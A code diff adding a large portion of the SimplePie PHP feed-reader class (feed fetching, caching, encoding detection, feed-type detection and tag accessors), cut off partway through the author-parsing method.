+		$this->sanitize->pass_file_data($this->registry->get_class('File'), $this->timeout, $this->useragent, $this->force_fsockopen);
+
+		if (!empty($this->multifeed_url))
+		{
+			$i = 0;
+			$success = 0;
+			$this->multifeed_objects = array();
+			$this->error = array();
+			foreach ($this->multifeed_url as $url)
+			{
+				$this->multifeed_objects[$i] = clone $this;
+				$this->multifeed_objects[$i]->set_feed_url($url);
+				$single_success = $this->multifeed_objects[$i]->init();
+				$success |= $single_success;
+				if (!$single_success)
+				{
+					$this->error[$i] = $this->multifeed_objects[$i]->error();
+				}
+				$i++;
+			}
+			return (bool) $success;
+		}
+		elseif ($this->feed_url === null && $this->raw_data === null)
+		{
+			return false;
+		}
+
+		$this->error = null;
+		$this->data = array();
+		$this->multifeed_objects = array();
+		$cache = false;
+
+		if ($this->feed_url !== null)
+		{
+			$parsed_feed_url = $this->registry->call('Misc', 'parse_url', array($this->feed_url));
+
+			// Decide whether to enable caching
+			if ($this->cache && $parsed_feed_url['scheme'] !== '')
+			{
+				$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc'));
+			}
+
+			// Fetch the data via SimplePie_File into $this->raw_data
+			if (($fetched = $this->fetch_data($cache)) === true)
+			{
+				return true;
+			}
+			elseif ($fetched === false) {
+				return false;
+			}
+
+			list($headers, $sniffed) = $fetched;
+		}
+
+		// Set up array of possible encodings
+		$encodings = array();
+
+		// First check to see if input has been overridden.
+		if ($this->input_encoding !== false)
+		{
+			$encodings[] = $this->input_encoding;
+		}
+
+		$application_types = array('application/xml', 'application/xml-dtd', 'application/xml-external-parsed-entity');
+		$text_types = array('text/xml', 'text/xml-external-parsed-entity');
+
+		// RFC 3023 (only applies to sniffed content)
+		if (isset($sniffed))
+		{
+			if (in_array($sniffed, $application_types) || substr($sniffed, 0, 12) === 'application/' && substr($sniffed, -4) === '+xml')
+			{
+				if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+				{
+					$encodings[] = strtoupper($charset[1]);
+				}
+				$encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry)));
+				$encodings[] = 'UTF-8';
+			}
+			elseif (in_array($sniffed, $text_types) || substr($sniffed, 0, 5) === 'text/' && substr($sniffed, -4) === '+xml')
+			{
+				if (isset($headers['content-type']) && preg_match('/;\x20?charset=([^;]*)/i', $headers['content-type'], $charset))
+				{
+					$encodings[] = $charset[1];
+				}
+				$encodings[] = 'US-ASCII';
+			}
+			// Text MIME-type default
+			elseif (substr($sniffed, 0, 5) === 'text/')
+			{
+				$encodings[] = 'US-ASCII';
+			}
+		}
+
+		// Fallback to XML 1.0 Appendix F.1/UTF-8/ISO-8859-1
+		$encodings = array_merge($encodings, $this->registry->call('Misc', 'xml_encoding', array($this->raw_data, &$this->registry)));
+		$encodings[] = 'UTF-8';
+		$encodings[] = 'ISO-8859-1';
+
+		// There's no point in trying an encoding twice
+		$encodings = array_unique($encodings);
+
+		// Loop through each possible encoding, till we return something, or run out of possibilities
+		foreach ($encodings as $encoding)
+		{
+			// Change the encoding to UTF-8 (as we always use UTF-8 internally)
+			if ($utf8_data = $this->registry->call('Misc', 'change_encoding', array($this->raw_data, $encoding, 'UTF-8')))
+			{
+				// Create new parser
+				$parser = $this->registry->create('Parser');
+
+				// If it's parsed fine
+				if ($parser->parse($utf8_data, 'UTF-8'))
+				{
+					$this->data = $parser->get_data();
+					if (!($this->get_type() & ~SIMPLEPIE_TYPE_NONE))
+					{
+						$this->error = "A feed could not be found at $this->feed_url. This does not appear to be a valid RSS or Atom feed.";
+						$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
+						return false;
+					}
+
+					if (isset($headers))
+					{
+						$this->data['headers'] = $headers;
+					}
+					$this->data['build'] = SIMPLEPIE_BUILD;
+
+					// Cache the file if caching is enabled
+					if ($cache && !$cache->save($this))
+					{
+						trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
+					}
+					return true;
+				}
+			}
+		}
+
+		if (isset($parser))
+		{
+			// We have an error, just set SimplePie_Misc::error to it and quit
+			$this->error = sprintf('This XML document is invalid, likely due to invalid characters. XML error: %s at line %d, column %d', $parser->get_error_string(), $parser->get_current_line(), $parser->get_current_column());
+		}
+		else
+		{
+			$this->error = 'The data could not be converted to UTF-8. You MUST have either the iconv or mbstring extension installed. Upgrading to PHP 5.x (which includes iconv) is highly recommended.';
+		}
+
+		$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
+
+		return false;
+	}
+
+	/**
+	 * Fetch the data via SimplePie_File
+	 *
+	 * If the data is already cached, attempt to fetch it from there instead
+	 * @param SimplePie_Cache|false $cache Cache handler, or false to not load from the cache
+	 * @return array|true Returns true if the data was loaded from the cache, or an array of HTTP headers and sniffed type
+	 */
+	protected function fetch_data(&$cache)
+	{
+		// If it's enabled, use the cache
+		if ($cache)
+		{
+			// Load the Cache
+			$this->data = $cache->load();
+			if (!empty($this->data))
+			{
+				// If the cache is for an outdated build of SimplePie
+				if (!isset($this->data['build']) || $this->data['build'] !== SIMPLEPIE_BUILD)
+				{
+					$cache->unlink();
+					$this->data = array();
+				}
+				// If we've hit a collision just rerun it with caching disabled
+				elseif (isset($this->data['url']) && $this->data['url'] !== $this->feed_url)
+				{
+					$cache = false;
+					$this->data = array();
+				}
+				// If we've got a non feed_url stored (if the page isn't actually a feed, or is a redirect) use that URL.
+				elseif (isset($this->data['feed_url']))
+				{
+					// If the autodiscovery cache is still valid use it.
+					if ($cache->mtime() + $this->autodiscovery_cache_duration > time())
+					{
+						// Do not need to do feed autodiscovery yet.
+						if ($this->data['feed_url'] !== $this->data['url'])
+						{
+							$this->set_feed_url($this->data['feed_url']);
+							return $this->init();
+						}
+
+						$cache->unlink();
+						$this->data = array();
+					}
+				}
+				// Check if the cache has been updated
+				elseif ($cache->mtime() + $this->cache_duration < time())
+				{
+					// If we have last-modified and/or etag set
+					if (isset($this->data['headers']['last-modified']) || isset($this->data['headers']['etag']))
+					{
+						$headers = array(
+							'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+						);
+						if (isset($this->data['headers']['last-modified']))
+						{
+							$headers['if-modified-since'] = $this->data['headers']['last-modified'];
+						}
+						if (isset($this->data['headers']['etag']))
+						{
+							$headers['if-none-match'] = $this->data['headers']['etag'];
+						}
+
+						$file = $this->registry->create('File', array($this->feed_url, $this->timeout/10, 5, $headers, $this->useragent, $this->force_fsockopen));
+
+						if ($file->success)
+						{
+							if ($file->status_code === 304)
+							{
+								$cache->touch();
+								return true;
+							}
+						}
+						else
+						{
+							unset($file);
+						}
+					}
+				}
+				// If the cache is still valid, just return true
+				else
+				{
+					$this->raw_data = false;
+					return true;
+				}
+			}
+			// If the cache is empty, delete it
+			else
+			{
+				$cache->unlink();
+				$this->data = array();
+			}
+		}
+		// If we don't already have the file (it'll only exist if we've opened it to check if the cache has been modified), open it.
+		if (!isset($file))
+		{
+			if ($this->file instanceof SimplePie_File && $this->file->url === $this->feed_url)
+			{
+				$file =& $this->file;
+			}
+			else
+			{
+				$headers = array(
+					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
+				);
+				$file = $this->registry->create('File', array($this->feed_url, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen));
+			}
+		}
+		// If the file connection has an error, set SimplePie::error to that and quit
+		if (!$file->success && !($file->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($file->status_code === 200 || $file->status_code > 206 && $file->status_code < 300)))
+		{
+			$this->error = $file->error;
+			return !empty($this->data);
+		}
+
+		if (!$this->force_feed)
+		{
+			// Check if the supplied URL is a feed, if it isn't, look for it.
+			$locate = $this->registry->create('Locator', array(&$file, $this->timeout, $this->useragent, $this->max_checked_feeds));
+
+			if (!$locate->is_feed($file))
+			{
+				// We need to unset this so that if SimplePie::set_file() has been called that object is untouched
+				unset($file);
+				try
+				{
+					if (!($file = $locate->find($this->autodiscovery, $this->all_discovered_feeds)))
+					{
+						$this->error = "A feed could not be found at $this->feed_url. A feed with an invalid mime type may fall victim to this error, or " . SIMPLEPIE_NAME . " was unable to auto-discover it.. Use force_feed() if you are certain this URL is a real feed.";
+						$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, __FILE__, __LINE__));
+						return false;
+					}
+				}
+				catch (SimplePie_Exception $e)
+				{
+					// This is usually because DOMDocument doesn't exist
+					$this->error = $e->getMessage();
+					$this->registry->call('Misc', 'error', array($this->error, E_USER_NOTICE, $e->getFile(), $e->getLine()));
+					return false;
+				}
+				if ($cache)
+				{
+					$this->data = array('url' => $this->feed_url, 'feed_url' => $file->url, 'build' => SIMPLEPIE_BUILD);
+					if (!$cache->save($this))
+					{
+						trigger_error("$this->cache_location is not writeable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
+					}
+					$cache = $this->registry->call('Cache', 'get_handler', array($this->cache_location, call_user_func($this->cache_name_function, $file->url), 'spc'));
+				}
+				$this->feed_url = $file->url;
+			}
+			$locate = null;
+		}
+
+		$this->raw_data = $file->body;
+
+		$headers = $file->headers;
+		$sniffer = $this->registry->create('Content_Type_Sniffer', array(&$file));
+		$sniffed = $sniffer->get_type();
+
+		return array($headers, $sniffed);
+	}
+
+	/**
+	 * Get the error message for the occurred error.
+	 *
+	 * @return string|array Error message, or array of messages for multifeeds
+	 */
+	public function error()
+	{
+		return $this->error;
+	}
+
+	/**
+	 * Get the raw XML
+	 *
+	 * This is the same as the old `$feed->enable_xml_dump(true)`, but returns
+	 * the data instead of printing it.
+	 *
+	 * @return string|boolean Raw XML data, false if the cache is used
+	 */
+	public function get_raw_data()
+	{
+		return $this->raw_data;
+	}
+
+	/**
+	 * Get the character encoding used for output
+	 *
+	 * @since Preview Release
+	 * @return string
+	 */
+	public function get_encoding()
+	{
+		return $this->sanitize->output_encoding;
+	}
+
+	/**
+	 * Send the content-type header with correct encoding
+	 *
+	 * This method ensures that the SimplePie-enabled page is being served with
+	 * the correct {@link http://www.iana.org/assignments/media-types/ mime-type}
+	 * and character encoding HTTP headers (character encoding determined by the
+	 * {@see set_output_encoding} config option).
+	 *
+	 * This won't work properly if any content or whitespace has already been
+	 * sent to the browser, because it relies on PHP's
+	 * {@link http://php.net/header header()} function, and these are the
+	 * circumstances under which the function works.
+	 *
+	 * Because it's setting these settings for the entire page (as is the nature
+	 * of HTTP headers), this should only be used once per page (again, at the
+	 * top).
+	 *
+	 * @param string $mime MIME type to serve the page as
+	 */
+	public function handle_content_type($mime = 'text/html')
+	{
+		if (!headers_sent())
+		{
+			$header = "Content-type: $mime;";
+			if ($this->get_encoding())
+			{
+				$header .= ' charset=' . $this->get_encoding();
+			}
+			else
+			{
+				$header .= ' charset=UTF-8';
+			}
+			header($header);
+		}
+	}
+
+	/**
+	 * Get the type of the feed
+	 *
+	 * This returns a SIMPLEPIE_TYPE_* constant, which can be tested against
+	 * using {@link http://php.net/language.operators.bitwise bitwise operators}
+	 *
+	 * @since 0.8 (usage changed to using constants in 1.0)
+	 * @see SIMPLEPIE_TYPE_NONE Unknown.
+	 * @see SIMPLEPIE_TYPE_RSS_090 RSS 0.90.
+	 * @see SIMPLEPIE_TYPE_RSS_091_NETSCAPE RSS 0.91 (Netscape).
+	 * @see SIMPLEPIE_TYPE_RSS_091_USERLAND RSS 0.91 (Userland).
+	 * @see SIMPLEPIE_TYPE_RSS_091 RSS 0.91.
+	 * @see SIMPLEPIE_TYPE_RSS_092 RSS 0.92.
+	 * @see SIMPLEPIE_TYPE_RSS_093 RSS 0.93.
+	 * @see SIMPLEPIE_TYPE_RSS_094 RSS 0.94.
+	 * @see SIMPLEPIE_TYPE_RSS_10 RSS 1.0.
+	 * @see SIMPLEPIE_TYPE_RSS_20 RSS 2.0.x.
+	 * @see SIMPLEPIE_TYPE_RSS_RDF RDF-based RSS.
+	 * @see SIMPLEPIE_TYPE_RSS_SYNDICATION Non-RDF-based RSS (truly intended as syndication format).
+	 * @see SIMPLEPIE_TYPE_RSS_ALL Any version of RSS.
+	 * @see SIMPLEPIE_TYPE_ATOM_03 Atom 0.3.
+	 * @see SIMPLEPIE_TYPE_ATOM_10 Atom 1.0.
+	 * @see SIMPLEPIE_TYPE_ATOM_ALL Any version of Atom.
+	 * @see SIMPLEPIE_TYPE_ALL Any known/supported feed type.
+	 * @return int SIMPLEPIE_TYPE_* constant
+	 */
+	public function get_type()
+	{
+		if (!isset($this->data['type']))
+		{
+			$this->data['type'] = SIMPLEPIE_TYPE_ALL;
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_10;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_ATOM_03;
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF']))
+			{
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_10]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_10;
+				}
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['channel'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['image'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['item'])
+				|| isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_090]['textinput']))
+				{
+					$this->data['type'] &= SIMPLEPIE_TYPE_RSS_090;
+				}
+			}
+			elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss']))
+			{
+				$this->data['type'] &= SIMPLEPIE_TYPE_RSS_ALL;
+				if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version']))
+				{
+					switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['attribs']['']['version']))
+					{
+						case '0.91':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091;
+							if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data']))
+							{
+								switch (trim($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][SIMPLEPIE_NAMESPACE_RSS_20]['skiphours']['hour'][0]['data']))
+								{
+									case '0':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_NETSCAPE;
+										break;
+
+									case '24':
+										$this->data['type'] &= SIMPLEPIE_TYPE_RSS_091_USERLAND;
+										break;
+								}
+							}
+							break;
+
+						case '0.92':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_092;
+							break;
+
+						case '0.93':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_093;
+							break;
+
+						case '0.94':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_094;
+							break;
+
+						case '2.0':
+							$this->data['type'] &= SIMPLEPIE_TYPE_RSS_20;
+							break;
+					}
+				}
+			}
+			else
+			{
+				$this->data['type'] = SIMPLEPIE_TYPE_NONE;
+			}
+		}
+		return $this->data['type'];
+	}
+
+	/**
+	 * Get the URL for the feed
+	 *
+	 * May or may not be different from the URL passed to {@see set_feed_url()},
+	 * depending on whether auto-discovery was used.
+	 *
+	 * @since Preview Release (previously called `get_feed_url()` since SimplePie 0.8.)
+	 * @todo If we have a perm redirect we should return the new URL
+	 * @todo When we make the above change, let's support <itunes:new-feed-url> as well
+	 * @todo Also, |atom:link|@rel=self
+	 * @return string|null
+	 */
+	public function subscribe_url()
+	{
+		if ($this->feed_url !== null)
+		{
+			return $this->sanitize($this->feed_url, SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get data for an feed-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute that is a
+	 * sub-element of the opening feed tag.
+	 *
+	 * The return value is an indexed array of elements matching the given
+	 * namespace and tag name. Each element has `attribs`, `data` and `child`
+	 * subkeys. For `attribs` and `child`, these contain namespace subkeys.
+	 * `attribs` then has one level of associative name => value data (where
+	 * `value` is a string) after the namespace. `child` has tag-indexed keys
+	 * after the namespace, each member of which is an indexed array matching
+	 * this same format.
+	 *
+	 * For example:
+	 * <pre>
+	 * // This is probably a bad example because we already support
+	 * // <media:content> natively, but it shows you how to parse through
+	 * // the nodes.
+	 * $group = $item->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group');
+	 * $content = $group[0]['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'];
+	 * $file = $content[0]['attribs']['']['url'];
+	 * echo $file;
+	 * </pre>
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_feed_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_10)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_ATOM_03)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_RDF)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['child'][$namespace][$tag];
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag]))
+			{
+				return $this->data['child'][SIMPLEPIE_NAMESPACE_RSS_20]['rss'][0]['child'][$namespace][$tag];
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get data for an channel-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute in the
+	 * channel/header section of the feed.
+	 *
+	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_channel_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_ATOM_ALL)
+		{
+			if ($return = $this->get_feed_tags($namespace, $tag))
+			{
+				return $return;
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($channel = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'channel'))
+			{
+				if (isset($channel[0]['child'][$namespace][$tag]))
+				{
+					return $channel[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get data for an channel-level element
+	 *
+	 * This method allows you to get access to ANY element/attribute in the
+	 * image/logo section of the feed.
+	 *
+	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
+	 *
+	 * @since 1.0
+	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
+	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
+	 * @param string $tag Tag name
+	 * @return array
+	 */
+	public function get_image_tags($namespace, $tag)
+	{
+		$type = $this->get_type();
+		if ($type & SIMPLEPIE_TYPE_RSS_10)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_090)
+		{
+			if ($image = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		if ($type & SIMPLEPIE_TYPE_RSS_SYNDICATION)
+		{
+			if ($image = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'image'))
+			{
+				if (isset($image[0]['child'][$namespace][$tag]))
+				{
+					return $image[0]['child'][$namespace][$tag];
+				}
+			}
+		}
+		return null;
+	}
+
+	/**
+	 * Get the base URL value from the feed
+	 *
+	 * Uses `<xml:base>` if available, otherwise uses the first link in the
+	 * feed, or failing that, the URL of the feed itself.
+	 *
+	 * @see get_link
+	 * @see subscribe_url
+	 *
+	 * @param array $element
+	 * @return string
+	 */
+	public function get_base($element = array())
+	{
+		if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base']))
+		{
+			return $element['xml_base'];
+		}
+		elseif ($this->get_link() !== null)
+		{
+			return $this->get_link();
+		}
+		else
+		{
+			return $this->subscribe_url();
+		}
+	}
+
+	/**
+	 * Sanitize feed data
+	 *
+	 * @access private
+	 * @see SimplePie_Sanitize::sanitize()
+	 * @param string $data Data to sanitize
+	 * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants
+	 * @param string $base Base URL to resolve URLs against
+	 * @return string Sanitized data
+	 */
+	public function sanitize($data, $type, $base = '')
+	{
+		return $this->sanitize->sanitize($data, $type, $base);
+	}
+
+	/**
+	 * Get the title of the feed
+	 *
+	 * Uses `<atom:title>`, `<title>` or `<dc:title>`
+	 *
+	 * @since 1.0 (previously called `get_feed_title` since 0.8)
+	 * @return string|null
+	 */
+	public function get_title()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get a category for the feed
+	 *
+	 * @since Unknown
+	 * @param int $key The category that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Category|null
+	 */
+	public function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all categories for the feed
+	 *
+	 * Uses `<atom:category>`, `<category>` or `<dc:subject>`
+	 *
+	 * @since Unknown
+	 * @return array|null List of {@see SimplePie_Category} objects
+	 */
+	public function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, $label));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'category') as $category)
+		{
+			// This is really the label, but keep this as the term also for BC.
+			// Label will also work on retrieving because that falls back to term.
+			$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			if (isset($category['attribs']['']['domain']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['domain'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			else
+			{
+				$scheme = null;
+			}
+			$categories[] = $this->registry->create('Category', array($term, $scheme, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] = $this->registry->create('Category', array($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null));
+		}
+
+		if (!empty($categories))
+		{
+			return array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get an author for the feed
+	 *
+	 * @since 1.1
+	 * @param int $key The author that you want to return.  Remember that arrays begin with 0, not 1
+	 * @return SimplePie_Author|null
+	 */
+	public function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Get all authors for the feed
+	 *
+	 * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>`
+	 *
+	 * @since 1.1
+	 * @return array|null List of {@see SimplePie_Author} objects
+	 */
+	public function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
